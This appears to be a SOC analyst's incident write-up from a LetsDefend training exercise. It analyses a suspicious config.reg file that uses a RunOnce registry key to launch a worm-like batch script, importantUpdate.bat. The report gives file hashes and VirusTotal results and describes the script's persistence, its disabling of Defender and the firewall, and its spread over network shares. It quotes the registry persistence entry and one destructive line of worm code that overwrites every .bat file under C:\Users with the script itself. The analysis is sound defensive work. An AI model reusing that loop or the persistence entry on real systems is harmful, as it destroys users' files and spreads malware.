

Event Information:

EventID :
50
Event Time :
Feb, 06, 2021, 01:58 PM
Rule :
SOC117 - Suspicious .reg File
Level :
Security Analyst
Source Address :
172.16.17.51
Source Hostname :
Aldo
File Name :
config.reg
File Hash :
f705ac114767397fb5e7cd1603e70954
File Size :
16.3 MB
Device Action :
Blocked

Analysis Steps:

Email and network logs were searched with IP 172[.]16.17.51 (Aldo) as the source in the relevant time-frame but nothing was found that would evidence the delivery mechanism.

This MD5 hash is not in our CTI index. On VirusTotal the file was flagged as clean as of 2 months ago.

0 / 60
Community Score

No security vendors flagged this file as malicious

Do you want to automate checks?

The information obtained was not enough to make a decisive conclusion so the file was downloaded and analysed statically.

The downloaded not only included the config.reg but also a bat file by the name of importantUpdate.bat.

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]

"updateImportant"="C:\\Users\\gunal\\Desktop\\importantUpdate.bat"

The importantUpdate.bat file has an MD5 hash of:

bf16a6aec517b7ec9c5d6eb3f4c60824

This file is listed as malicious by 18/60 Vendors on VirusTotal as of 2 months ago.

Analysing the code included in the malicious .bat file we can see malicious behaviour which is clearly identified as such within the code itself such as <=== INFECT NETWORK!!! ==>. Looking at the code we can see the Damonki service listed on VirusTotal being used as a persistence technique and verification of the malicious file engaging in behaviour typical of a worm. The code reads as though it is based on “lulz” culture and does not make much of any effort to hide what it is doing which may be a strong indicator of its source.

```

```

```
for /f %%f in ('dir C:\Users\*.bat /s /b') do (copy %0 %%f)
```

Based on following Playbook procedure and the analysis of available information, this alert is determined to be a failed True Positive.

Report:

Incident Summary

Analysis confirms a True Positive alert for a suspicious registry file on the host Aldo (172[.]16.17.51). The initial file, config.reg, was blocked by the device. Static analysis revealed the registry file was designed to execute a secondary batch script named importantUpdate.bat via a RunOnce registry key. This batch script exhibits highly malicious, worm-like behaviour, including defence evasion and lateral movement. A review of email and network logs yielded no evidence regarding the initial delivery mechanism.

Incident Details

- **Alert Name:** SOC117 - Suspicious .reg File
- **Source Host:** Aldo (172[.]16.17.51)
- **Flagged File:** config.reg
- **Original Reg File Hash:** f705ac114767397fb5e7cd1603e70954
- **Malicious Bat File Hash:** bf16a6aec517b7ec9c5d6eb3f4c60824
- **Device Action:** Blocked

Analysis and Evidence

- **Static Analysis:** The downloaded file archive contained both config.reg and importantUpdate.bat. The config.reg file modifies the [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Once] registry key to execute the batch file located at C:\Users\gunal\Desktop\importantUpdate.bat.
- **Code Analysis:** The importantUpdate.bat script contains overtly malicious commands and comments (e.g. <=== INFECT NETWORK!!! ==>). Indicating a jocular culture behind its creation.
- **Persistence:** The script attempts to establish persistence by creating a service named DaMonki and modifying the Run registry key.
- **Defence Evasion:** It actively attempts to stop both the "Windows Defender Service" and "Windows Firewall".
- **Lateral Movement:** The script exhibits worm capabilities by attempting to mount the Z: drive to \\192[.]168.1.%i%\C\$ to propagate across the network.
- **Destruction:** It contains a loop designed to rename all files in C:\Users to .bat and overwrite them with a copy of itself.

Threat Intelligence

- **OSINT (config.reg):** The initial .reg file hash is not in the internal CTI index and showed 0/60 detections on VirusTotal as of 2 months ago.
- **OSINT (importantUpdate.bat):** The batch file (MD5: bf16a6aec517b7ec9c5d6eb3f4c60824) is flagged as malicious by 18/60 security vendors on VirusTotal also as of 2 months ago.

Actions Taken

1. Conducted static analysis on the config.reg file to uncover the secondary importantUpdate.bat payload.
2. Analysed the batch script code, identifying persistence, defence evasion, and worm-like lateral movement behaviours.
3. Declared the alert a failed True Positive. Analysis should be conducted as to how the malicious file got onto the device.

Let's Defend Result

```
